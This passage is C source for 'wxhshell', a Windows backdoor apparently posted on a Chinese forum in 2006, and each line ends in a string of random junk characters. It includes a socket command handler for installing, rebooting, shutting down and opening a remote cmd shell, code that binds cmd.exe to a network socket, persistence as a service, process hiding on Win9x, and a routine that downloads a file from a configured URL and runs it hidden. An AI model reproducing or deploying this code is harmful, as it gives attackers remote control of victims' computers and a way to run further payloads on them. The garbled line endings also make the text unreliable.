"g&f:[a/  
    switch(cmd[0]) { H~:oW~Ah  
  -ZZJk-::  
  // 帮助 ?{J1Uw<  
  case '?': { 4oiE@y&{4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `cXLa=B)9  
    break; >RkaFcq  
  } 8X"4RyNSn  
  // 安装 cOX)+53  
  case 'i': { wTU$jd1;+  
    if(Install()) w|s2f`!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n-cI~Ax+4  
    else `hkvxt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YYYF a  
    break; `@],J  
    } v#%rjml[  
  // 卸载 otR7E+*3  
  case 'r': { |<,qnf | -  
    if(Uninstall()) vu\W5M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'kt6%d2  
    else @Xl(A]w%!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s.i9&1Y-!  
    break; WF~BCP$OR  
    } z}u`45W+  
  // 显示 wxhshell 所在路径 w a(Y[]V  
  case 'p': { [,AFtg[  
    char svExeFile[MAX_PATH];  &kmaKc  
    strcpy(svExeFile,"\n\r");  t8EI"|  
      strcat(svExeFile,ExeFile); DX>LB$dy?  
        send(wsh,svExeFile,strlen(svExeFile),0); S W%>8  
    break; bXF8V  
    } c-XO}\?  
  // 重启 K}re{y  
  case 'b': { :p/=KI_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )LFbz#;Y  
    if(Boot(REBOOT)) I!*P' {lh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B]G2P`sN  
    else { ]A%3\)r  
    closesocket(wsh); 0j!3\=P$  
    ExitThread(0); fGlvum  
    } v9:J 55x  
    break; 2[+.* Ef  
    } pxTtV g.  
  // 关机 ;QXg*GNAv$  
  case 'd': { :5%98V>02  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bTimJp[b  
    if(Boot(SHUTDOWN)) C`i#7zsH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =|1_6.tz  
    else { O|8@cO  
    closesocket(wsh); @u9L+*F  
    ExitThread(0); ?5nEmG|kO  
    } [S,$E6&j$"  
    break; |w|c!;,  
    } pS+w4gW  
  // 获取shell ?;~E*kzO&  
  case 's': { *mp:#'  
    CmdShell(wsh); $5 mGYF]  
    closesocket(wsh); 3Jizv,?  
    ExitThread(0); ojnO69v  
    break; &@oI/i&0B  
  } ]j>xQm\  
  // 退出 uK"  T~  
  case 'x': { $\J5l$tU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p-.kBF  
    CloseIt(wsh); O^8ZnN_+  
    break; ;O`f+rG~  
    } dfdK%/' $(  
  // 离开 Ip{R'HG/  
  case 'q': { k+ t(u]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OXrm!'  
    closesocket(wsh); iRsB|7v[,  
    WSACleanup(); -z`FKej   
    exit(1); jSE)&K4nI  
    break; $lT8M-yK\  
        } 2.%)OC!q&5  
  } Ct)58f2  
  } "D.<~!  
Sz Mh  
  // 提示信息 ]Wkgpfd56  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RQ8d1US  
} Nq`;\E.M  
  } qG;tD>jy  
ZcXAqep8'  
  return; T4.wz 58  
} ;99oJD,  
gW~T{+f  
// shell模块句柄 cgrSd99.  
int CmdShell(SOCKET sock) hE(R[hc  
{ g}<jn'@{  
STARTUPINFO si; C`;igg$t_  
ZeroMemory(&si,sizeof(si)); 0 (-4"u>?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CHKhJ v3+4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %oa@2qJ^  
PROCESS_INFORMATION ProcessInfo; GO"|^W  
char cmdline[]="cmd"; bfz7t!A)A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~ q-Z-MA  
  return 0; C7{VByxJ  
} SDC|>e9i  
t7-]OY7%w_  
// 自身启动模式 jI\@<6O  
int StartFromService(void) _ZhQY,  
{ 5]Rbzg2t  
typedef struct akyMW7'3V<  
{ bp9RF d{  
  DWORD ExitStatus; >p-UQc  
  DWORD PebBaseAddress;  6a,8t  
  DWORD AffinityMask; n%F _ 3`  
  DWORD BasePriority; ,K,st+s|  
  ULONG UniqueProcessId; s>6h]H  
  ULONG InheritedFromUniqueProcessId; HN5661;8  
}   PROCESS_BASIC_INFORMATION; D{B?2}X  
gEk;Tj  
PROCNTQSIP NtQueryInformationProcess; c@[Trk m  
?. ` ga*   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IzTJ7E*i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nDraX_sm=  
jyIIE7.I"  
  HANDLE             hProcess; `(HD'fud3  
  PROCESS_BASIC_INFORMATION pbi; 9Q,>I6`l  
} KyoMs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?]D&D:Z?I  
  if(NULL == hInst ) return 0; <CuUwv 'A  
P  y v>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v>`Fo[c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4O-LLH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [Kc?<3W  
j<kW+Iio  
  if (!NtQueryInformationProcess) return 0; Am*IC?@tq  
Un K7&Uo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a 4ViVy  
  if(!hProcess) return 0; ;iiCay37F  
h_4*?w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p48enH8CO  
q3#[6!  
  CloseHandle(hProcess); ExtC\(X;  
P0}B&B/a:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Fqw4XR_`~  
if(hProcess==NULL) return 0; e7GYz7  
?:$ q~[LY  
HMODULE hMod; Kb+SssF  
char procName[255]; flPS+  
unsigned long cbNeeded; hYzP6?K"  
>Gpq{Ph[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4q]6[/  
"e"#k}z9  
  CloseHandle(hProcess); C1NU6iV^z  
U 2YY   
if(strstr(procName,"services")) return 1; // 以服务启动 tsg`c;{  
J*rYw5QB  
  return 0; // 注册表启动 .4v?/t1  
} qvc< _k^  
W2X`%Tx0  
// 主模块 "Y<;R+z  
int StartWxhshell(LPSTR lpCmdLine) qj~=qV0p  
{ OS#aYER~/  
  SOCKET wsl; >G|RVB  
BOOL val=TRUE; B$rhsK%  
  int port=0; x"q]~u<rB  
  struct sockaddr_in door; jm%s#`)g  
9jImuSZ  
  if(wscfg.ws_autoins) Install(); f%EHzm/V  
*xxk70Cb  
port=atoi(lpCmdLine); -*mbalU,J  
F3(Sb M-  
if(port<=0) port=wscfg.ws_port; ) Z3KO  
EmT_T 3v  
  WSADATA data; |c0^7vrC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fd *XK/h  
R-m5(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %/I:r7UR{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); By@65KmR"  
  door.sin_family = AF_INET; 3=n6N TL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i_N8)Z;r  
  door.sin_port = htons(port); HFP'b=?`]|  
AI3x,rk#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;wMu  
closesocket(wsl); ZS+m}.,whQ  
return 1; 8i[TeW"  
} t,De/L  
vNjc  
  if(listen(wsl,2) == INVALID_SOCKET) { [z!m  
closesocket(wsl); r2#G|/=@  
return 1; lUjZ=3"'  
} _<f%== I'  
  Wxhshell(wsl); [4#HuO@h  
  WSACleanup(); >;9g`d  
q`p0ul,n  
return 0; )] q Qgc&  
@@*x/"GJG  
} VX8rM!3  
1_{e*=/y  
// 以NT服务方式启动 }i^M<A O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *~P| ? D'  
{ ~OX\R"aZBW  
DWORD   status = 0; p+~Imf-Jk  
  DWORD   specificError = 0xfffffff; ,Gv}N&  
nZi&`HjQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aR3jeB,=x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MuWZf2C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S6M7^_B4F  
  serviceStatus.dwWin32ExitCode     = 0; ^&&Wv'7XQ  
  serviceStatus.dwServiceSpecificExitCode = 0; yFk|8d-|  
  serviceStatus.dwCheckPoint       = 0; _k]R6V:  
  serviceStatus.dwWaitHint       = 0; >8{w0hh;  
~"%'(j_4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ry}4MEq]  
  if (hServiceStatusHandle==0) return; 2fky z  
4RDY_HgF6  
status = GetLastError(); *-=/"m  
  if (status!=NO_ERROR) &Y1h=,KR9  
{ f 4pIF"U9>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?J2A.x5` a  
    serviceStatus.dwCheckPoint       = 0; \LJ!X3TZ  
    serviceStatus.dwWaitHint       = 0; @#hQ0F8  
    serviceStatus.dwWin32ExitCode     = status; %'WC7s  
    serviceStatus.dwServiceSpecificExitCode = specificError; IN3-ZNx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }^$#vJ(a7K  
    return; ffk >IOH  
  } Sydl[c pH$  
W3[>IH"+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {f/]K GGk  
  serviceStatus.dwCheckPoint       = 0; vmNo~clt\  
  serviceStatus.dwWaitHint       = 0; %Y0lMNP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l4T[x|')M  
} `#iL'ND[  
`=pA;R9  
// 处理NT服务事件,比如:启动、停止 rNhS\1-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rF[-4t %  
{ c*\i%I#f2  
switch(fdwControl) j7E;\AZ^  
{ vKW!;U9~P  
case SERVICE_CONTROL_STOP: k(Xs&f `  
  serviceStatus.dwWin32ExitCode = 0; ^|oI^"I Q=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; afHRy:<+%  
  serviceStatus.dwCheckPoint   = 0; ;B |  
  serviceStatus.dwWaitHint     = 0; -cUbIbW  
  { *2/qm:gB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tt-ci,X+  
  } MzB.Vvsy%9  
  return; <LH6my  
case SERVICE_CONTROL_PAUSE: Y>3zpeQ!&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;Egl8Vhr  
  break; 6I(Y<LZ5  
case SERVICE_CONTROL_CONTINUE: KW'nW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >!Y#2]@}o  
  break; &bJBsd@Os  
case SERVICE_CONTROL_INTERROGATE: Q*Jb0f  
  break; M^\`~{*T  
}; eXsp0!v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VTR4uT-  
} A-B>VX  
9[\do@  
// 标准应用程序主函数 =#4>c8MM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) whe%o  
{ bHm/ZZx  
dY. X/f  
// 获取操作系统版本 PUD8  
OsIsNt=GetOsVer(); E4\HI+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IHCxM|/k(M  
vK/`or3U  
  // 从命令行安装 lAG@nh^  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ar~<l2,{r  
a5m[ N'kah  
  // 下载执行文件 MV3K'<Y  
if(wscfg.ws_downexe) { kz}Bc F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )$1j"mV  
  WinExec(wscfg.ws_filenam,SW_HIDE); #ZPF&u"  
} 78:x{1nUM[  
9a@S^B>  
if(!OsIsNt) { P//nYPyzg  
// 如果时win9x,隐藏进程并且设置为注册表启动 /ho7~C+H*e  
HideProc(); #X``^  
StartWxhshell(lpCmdLine); ;2`t0#J$]  
} W\0u[IV.x  
else ' xaPahx;  
  if(StartFromService()) I AUc.VH  
  // 以服务方式启动 wAu]U6!  
  StartServiceCtrlDispatcher(DispatchTable); }+S~Ah?(  
else *!%n`BR '  
  // 普通方式启动 sRBfLN2C  
  StartWxhshell(lpCmdLine); :{S@KsPqE  
BZTj>yd  
return 0; @\gE{;a8  
}
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只看该作者 1 发表于: 2006-10-10
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